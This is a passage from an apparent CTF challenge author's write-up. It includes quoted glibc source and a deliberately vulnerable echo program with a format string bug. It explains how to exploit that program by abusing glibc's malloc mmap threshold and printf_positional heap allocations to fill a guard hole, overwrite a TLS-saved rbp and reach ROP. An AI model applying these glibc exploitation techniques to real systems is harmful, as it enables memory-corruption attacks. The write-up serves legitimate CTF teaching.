"MALLOC_" variable at the end of the string</span></span><br><span class="line"><span class="comment"> without a '=' character. Ignore it since otherwise we</span></span><br><span class="line"><span class="comment"> will access invalid memory below. */</span></span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">switch</span> (len)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> <span class="number">6</span>:</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">memcmp</span> (envline, <span class="string">"CHECK_"</span>, <span class="number">6</span>) == <span class="number">0</span>)</span><br><span class="line"> s = &envline[<span class="number">7</span>];</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">8</span>:</span><br><span class="line"> <span class="keyword">if</span> (!__builtin_expect (__libc_enable_secure, <span class="number">0</span>))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">memcmp</span> (envline, <span class="string">"TOP_PAD_"</span>, <span class="number">8</span>) == <span class="number">0</span>)</span><br><span class="line"> __libc_mallopt (M_TOP_PAD, atoi (&envline[<span class="number">9</span>]));</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">memcmp</span> (envline, <span class="string">"PERTURB_"</span>, <span class="number">8</span>) == <span class="number">0</span>)</span><br><span class="line"> __libc_mallopt (M_PERTURB, atoi (&envline[<span class="number">9</span>]));</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">9</span>:</span><br><span class="line"> <span class="keyword">if</span> (!__builtin_expect (__libc_enable_secure, <span class="number">0</span>))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">memcmp</span> (envline, <span class="string">"MMAP_MAX_"</span>, <span class="number">9</span>) == <span class="number">0</span>)</span><br><span class="line"> __libc_mallopt (M_MMAP_MAX, atoi (&envline[<span class="number">10</span>]));</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">memcmp</span> (envline, <span class="string">"ARENA_MAX"</span>, <span class="number">9</span>) == <span class="number">0</span>)</span><br><span class="line"> __libc_mallopt (M_ARENA_MAX, atoi (&envline[<span class="number">10</span>]));</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">10</span>:</span><br><span class="line"> <span class="keyword">if</span> (!__builtin_expect (__libc_enable_secure, <span class="number">0</span>))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">memcmp</span> (envline, <span class="string">"ARENA_TEST"</span>, <span class="number">10</span>) == <span class="number">0</span>)</span><br><span class="line"> __libc_mallopt (M_ARENA_TEST, atoi (&envline[<span class="number">11</span>]));</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">15</span>:</span><br><span class="line"> <span class="keyword">if</span> (!__builtin_expect (__libc_enable_secure, <span class="number">0</span>))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">memcmp</span> (envline, <span class="string">"TRIM_THRESHOLD_"</span>, <span class="number">15</span>) == <span class="number">0</span>)</span><br><span class="line"> __libc_mallopt (M_TRIM_THRESHOLD, atoi (&envline[<span class="number">16</span>]));</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">memcmp</span> (envline, <span class="string">"MMAP_THRESHOLD_"</span>, <span class="number">15</span>) == <span class="number">0</span>)</span><br><span class="line"> __libc_mallopt (M_MMAP_THRESHOLD, atoi (&envline[<span class="number">16</span>]));</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (s && s[<span class="number">0</span>])</span><br><span class="line"> {</span><br><span class="line"> __libc_mallopt (M_CHECK_ACTION, (<span class="keyword">int</span>) (s[<span class="number">0</span>] - <span class="string">'0'</span>));</span><br><span class="line"> <span class="keyword">if</span> (check_action != <span class="number">0</span>)</span><br><span class="line"> __malloc_check_init ();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">void</span> (*hook) (<span class="keyword">void</span>) = atomic_forced_read (__malloc_initialize_hook);</span><br><span class="line"> <span class="keyword">if</span> (hook != <span class="literal">NULL</span>)</span><br><span class="line"> (*hook)();</span><br><span class="line"> __malloc_initialized = <span class="number">1</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>Wow! It shows you can change the value of MMAP_THRESHOLD setting the environment variable “MALLOC_MMAP<em>THRESHOLD</em>“.<br>In this problem, you can set it using a stack buffer overflow.<br>So this is solvable!<br>What you have to do is:</p>
<ol>
<li>set “MALLOC_MMAP<em>THRESHOLD</em>=0” using a stack buffer overflow</li>
<li>overwrite the hash map of VTV in an anonymous mapping using a heap buffer overflow</li>
<li>do ROP calling arbitrary addresses using vtable overwrite</li>
</ol>
<p>You need to be careful with mapping: the order of mapping in the memory space can change so easily. Even /etc/ld.so.cache can affect it. It is preferable that you prepare the enviroment close to the remote one using vagrant and the given files.</p>
<h2 id="My-Sandbox-Revenge"><a href="#My-Sandbox-Revenge" class="headerlink" title="My Sandbox Revenge"></a>My Sandbox Revenge</h2><p>In contrast to VTVl, this problem went against my past expectation that many teams would solve it. Now I think I was a bit crazy.<br>But I still wonder why Cykor couldn’t solve this problem as fast as VTVl because this is similar to that problem.</p>
<p>Here is the source code of the problem:<br><figure class="highlight c"><figcaption><span>my_sandbox_revenge.c</span><a href="/downloads/code/my_sandbox_revenge.c">view raw</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> gcc my_sandbox_revenge.c -o my_sandbox_revenge -Wl,-s -Wl,-z,now,-z,relro -fno-stack-protector</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/mman.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> STACK_SIZE 1000000</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> puts(s)\</span></span><br><span class="line">write(<span class="number">1</span>, s <span class="string">"\n"</span>, <span class="built_in">strlen</span>(s <span class="string">"\n"</span>))</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> printf(s)\</span></span><br><span class="line">write(<span class="number">1</span>, s, <span class="built_in">strlen</span>(s))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">echo</span><span class="params">(<span class="keyword">char</span> *buf, <span class="keyword">int</span> len)</span> </span>{</span><br><span class="line"> <span class="comment">//int len;</span></span><br><span class="line"> <span class="keyword">size_t</span> map_size;</span><br><span class="line"> <span class="keyword">size_t</span> guard_size = <span class="number">0x21000</span>;</span><br><span class="line"> <span class="keyword">void</span> *new_stack;</span><br><span class="line"> <span class="keyword">void</span> *tmp_rsp;</span><br><span class="line"> <span class="keyword">void</span> *tmp_rbp;</span><br><span class="line"> <span class="keyword">char</span> *tmp_buf;</span><br><span class="line"></span><br><span class="line"> map_size = <span class="keyword">sizeof</span>(<span class="keyword">char</span>*) + <span class="keyword">sizeof</span>(<span class="keyword">char</span>)*len + STACK_SIZE + <span class="keyword">sizeof</span>(<span class="keyword">void</span>*)*<span class="number">8</span>;</span><br><span class="line"> map_size = (map_size+<span class="number">0xfff</span>) & (~<span class="number">0xfff</span>);</span><br><span class="line"> new_stack = mmap(<span class="literal">NULL</span>, </span><br><span class="line"> map_size+guard_size, </span><br><span class="line"> PROT_READ | PROT_WRITE, </span><br><span class="line"> MAP_ANONYMOUS | MAP_PRIVATE, </span><br><span class="line"> <span class="number">-1</span>, </span><br><span class="line"> <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span> (new_stack == MAP_FAILED) {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Sorry, something went wrong!!!"</span>);</span><br><span class="line"> <span class="keyword">return</span> ;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> munmap(new_stack+map_size, guard_size); <span class="comment">// create a "guard hole"</span></span><br><span class="line"> tmp_rbp = new_stack + <span class="keyword">sizeof</span>(<span class="keyword">char</span>)*len + STACK_SIZE + <span class="keyword">sizeof</span>(<span class="keyword">void</span>*)*<span class="number">8</span>;</span><br><span class="line"> tmp_rsp = tmp_rbp - <span class="keyword">sizeof</span>(<span class="keyword">void</span>*)*<span class="number">8</span> - <span class="keyword">sizeof</span>(<span class="keyword">char</span>)*len;</span><br><span class="line"> tmp_buf = tmp_rsp;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Entered: "</span>);</span><br><span class="line"> <span class="built_in">memcpy</span>(tmp_buf, buf, len);</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"movq %0, %%rax"</span>::<span class="string">"g"</span>(tmp_buf)</span></span></span><br><span class="line"> );</span><br><span class="line"> <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"movq %rbp, %fs:0x200"</span></span></span></span><br><span class="line"><span class="function"><span class="params"> )</span></span>;</span><br><span class="line"> <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"movq %rsp, %fs:0x208"</span></span></span></span><br><span class="line"><span class="function"><span class="params"> )</span></span>;</span><br><span class="line"> <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"movq %0, %%rsp"</span>::<span class="string">"g"</span>(tmp_rsp)</span></span></span><br><span class="line"> );</span><br><span class="line"> <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"movq %0, %%rbp"</span>::<span class="string">"g"</span>(tmp_rbp)</span></span></span><br><span class="line"> );</span><br><span class="line"> <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"movq %rax, -0x8(%rbp)"</span></span></span></span><br><span class="line"><span class="function"><span class="params"> )</span></span>;</span><br><span class="line"></span><br><span class="line"> dprintf(<span class="number">1</span>, tmp_buf);</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"movq %fs:0x200, %rbp"</span></span></span></span><br><span class="line"><span class="function"><span class="params"> )</span></span>;</span><br><span class="line"> <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"movq %fs:0x208, %rsp"</span></span></span></span><br><span class="line"><span class="function"><span class="params"> )</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"\n"</span>);</span><br><span class="line"></span><br><span class="line"> munmap(new_stack, <span class="keyword">sizeof</span>(<span class="keyword">char</span>*) + <span class="keyword">sizeof</span>(<span class="keyword">char</span>) * len + STACK_SIZE);</span><br><span class="line"> <span class="keyword">return</span> ;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">read_n</span><span class="params">(<span class="keyword">void</span> *buf, <span class="keyword">int</span> size)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> idx = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">while</span> (size > <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">int</span> ret = read(<span class="number">0</span>, buf+idx, size);</span><br><span class="line"> <span class="keyword">if</span> (ret < <span class="number">0</span>) <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> size -= ret;</span><br><span class="line"> idx += ret;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">read_until</span><span class="params">(<span class="keyword">char</span> *buf, <span class="keyword">unsigned</span> <span class="keyword">int</span> size, <span class="keyword">char</span> c)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> idx = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">while</span> (size > <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">int</span> ret = read(<span class="number">0</span>, buf+idx, <span class="number">1</span>);</span><br><span class="line"> <span class="keyword">if</span> (ret < <span class="number">0</span>) <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> <span class="keyword">if</span> (buf[idx] == c) {</span><br><span class="line"> buf[idx] = <span class="string">'\0'</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> size -= ret;</span><br><span class="line"> idx += ret;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> size;</span><br><span class="line"> <span class="keyword">char</span> *buf;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"\nWelcome to my echo program!"</span>);</span><br><span class="line"> sleep(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"\n\nThis program has some bug."</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"I couldn't fix that... :("</span>);</span><br><span class="line"> sleep(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"\nAlso a sandbox I developed in the past was defeated by evil hackers."</span>);</span><br><span class="line"> sleep(<span class="number">2</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"\nSo, let me retry. I have a lot of confidence in this brand new sandbox."</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Crackers will never be able to get shell, haha! :)\n"</span>);</span><br><span class="line"></span><br><span class="line"> sleep(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Enter the size of your message: "</span>);</span><br><span class="line"> <span class="keyword">if</span> (read_n(&size, <span class="keyword">sizeof</span>(<span class="keyword">unsigned</span> <span class="keyword">int</span>)) < <span class="number">0</span>) {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Sorry, something went wrong!!!"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (size+<span class="number">1</span> < size) {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Sorry, something went wrong!!!"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> buf = (<span class="keyword">char</span>*)<span class="built_in">malloc</span>(size+<span class="number">1</span>);</span><br><span class="line"> <span class="keyword">if</span> (!buf) {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Sorry, something went wrong!!!"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Enter your message: "</span>);</span><br><span class="line"> memset(buf, '\x00', size+1);</span><br><span class="line"> <span class="keyword">if</span> (read_until(buf, size, <span class="string">'\n'</span>) < <span class="number">0</span>) {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Sorry, something went wrong!!!"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> echo(buf, size+<span class="number">1</span>);</span><br><span class="line"> <span class="built_in">free</span>(buf);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"\nSeems you couldn't crack my program. I'm a winner!"</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"See you.\n"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>The vulnerability is self-evident: a format string bug at line 68.<br>But because of the sandboxed stack and the guard hole created with <code>mmap</code> and <code>munmap</code>, there are few things you can exploit in this program.<br>As there is nothing interesting to overwrite that has the known address, you need to think deeper.</p>
<p>In the same way as VTVl, you should come up with the idea that you can fill the guard hole if you succeed in calling <code>mmap</code> with the appropriate size.<br>It is well known that <code>malloc</code> uses <code>mmap</code> for large size allocation, so <code>malloc</code> is useful for this purpose with high probability.<br>You may think “Wait, there is no <code>malloc</code> call in the above source code!”.<br>Yes, that’s right. Then why don’t you take a look at glibc?<br>So read vfprintf :)<br>Because you have to allocate a quite large block of memory, allocations like <code>malloc(sizeof(CHAR_T)*X)</code> are probably useless.<br>Let’s find some better allocation.<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">int</span></span><br><span class="line">printf_positional (_IO_FILE *s, <span class="keyword">const</span> CHAR_T *format, <span class="keyword">int</span> readonly_format,</span><br><span class="line"> va_list ap, va_list *ap_savep, <span class="keyword">int</span> done, <span class="keyword">int</span> nspecs_done,</span><br><span class="line"> <span class="keyword">const</span> UCHAR_T *lead_str_end,</span><br><span class="line"> CHAR_T *work_buffer, <span class="keyword">int</span> save_errno,</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span> *grouping, THOUSANDS_SEP_T thousands_sep)</span><br><span class="line">{</span><br><span class="line"> <span class="comment">/* For positional argument handling. */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">scratch_buffer</span> <span class="title">specsbuf</span>;</span></span><br><span class="line"> scratch_buffer_init (&specsbuf);</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">printf_spec</span> *<span class="title">specs</span> = <span class="title">specsbuf</span>.<span class="title">data</span>;</span></span><br><span class="line"> <span class="keyword">size_t</span> specs_limit = specsbuf.length / <span class="keyword">sizeof</span> (specs[<span class="number">0</span>]);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Used as a backing store for args_value, args_size, args_type</span></span><br><span class="line"><span class="comment"> below. */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">scratch_buffer</span> <span class="title">argsbuf</span>;</span></span><br><span class="line"> scratch_buffer_init (&argsbuf);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Array with information about the needed arguments. This has to</span></span><br><span class="line"><span class="comment"> be dynamically extensible. */</span></span><br><span class="line"> <span class="keyword">size_t</span> nspecs = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* The number of arguments the format string requests. This will</span></span><br><span class="line"><span class="comment"> determine the size of the array needed to store the argument</span></span><br><span class="line"><span class="comment"> attributes. */</span></span><br><span class="line"> <span class="keyword">size_t</span> nargs = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Positional parameters refer to arguments directly. This could</span></span><br><span class="line"><span class="comment"> also determine the maximum number of arguments. Track the</span></span><br><span class="line"><span class="comment"> maximum number. */</span></span><br><span class="line"> <span class="keyword">size_t</span> max_ref_arg = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Just a counter. */</span></span><br><span class="line"> <span class="keyword">size_t</span> cnt;</span><br><span class="line"></span><br><span class="line"> CHAR_T *workstart = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (grouping == (<span class="keyword">const</span> <span class="keyword">char</span> *) <span class="number">-1</span>)</span><br><span class="line"> {</span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> COMPILE_WPRINTF</span></span><br><span class="line"> thousands_sep = _NL_CURRENT_WORD (LC_NUMERIC,</span><br><span class="line"> _NL_NUMERIC_THOUSANDS_SEP_WC);</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line"> thousands_sep = _NL_CURRENT (LC_NUMERIC, THOUSANDS_SEP);</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"> grouping = _NL_CURRENT (LC_NUMERIC, GROUPING);</span><br><span class="line"> <span class="keyword">if</span> (*grouping == <span class="string">'\0'</span> || *grouping == CHAR_MAX)</span><br><span class="line"> grouping = <span class="literal">NULL</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">const</span> UCHAR_T *f = lead_str_end; *f != L_(<span class="string">'\0'</span>);</span><br><span class="line"> f = specs[nspecs++].next_fmt)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (nspecs == specs_limit)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (!scratch_buffer_grow_preserve (&specsbuf))</span><br><span class="line"> {</span><br><span class="line"> done = <span class="number">-1</span>;</span><br><span class="line"> <span class="keyword">goto</span> all_done;</span><br><span class="line"> }</span><br><span class="line"> specs = specsbuf.data;</span><br><span class="line"> specs_limit = specsbuf.length / <span class="keyword">sizeof</span> (specs[<span class="number">0</span>]);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Parse the format specifier. */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> COMPILE_WPRINTF</span></span><br><span class="line"> nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line"> nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"> }</span><br></pre></td></tr></table></figure></p>
<p>printf_positional uses <code>struct scratch_buffer</code>, which is a wrapper of glibc heap allocator. Moreover its size grows based on <code>sizeof(specs[0])</code>(= 0x48 bytes)!<br>The requirement to use this allocation for filling the hole is easy: </p>
<ol>
<li>The format string contains a positional argument.</li>
<li>It holds 0x10000 < <code>nspecs*sizeof(specs[0])</code> <= 0x20000.<br>So actually the needed format string should be quite simple like: “%1$c” + “%c” * 1000.</li>
</ol>
<p>I think now you understand that you can fill the guard hole and cause a overrun on the mapping directly below the sandboxed stack with this format string.<br>Then what is that mapping and what can you do for it?</p>
<p>The answer is that the mapping is the TLS area and you can overwrite the saved-rbp value in it.<br>At line 52, <code>asm volatile("movq %rbp, %fs:0x200");</code> saves the original rbp value into %fs:0x200, which is in the TLS area.<br>So you can just do ROP after realizing this :)</p>
<h2 id="Demo-Scene-DB"><a href="#Demo-Scene-DB" class="headerlink" title="Demo Scene DB"></a>Demo Scene DB</h2><p>This problems seems to have some unintended solution because 217’s solution looks unfamiliar to me…<br>So I would like to talk about my solution only briefly because it is shameful to introduce unrefined solutions.</p>
<p>Here is the source code:<br><figure class="highlight c"><figcaption><span>demo_scene_db.c</span><a href="/downloads/code/demo_scene_db.c">view raw</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span 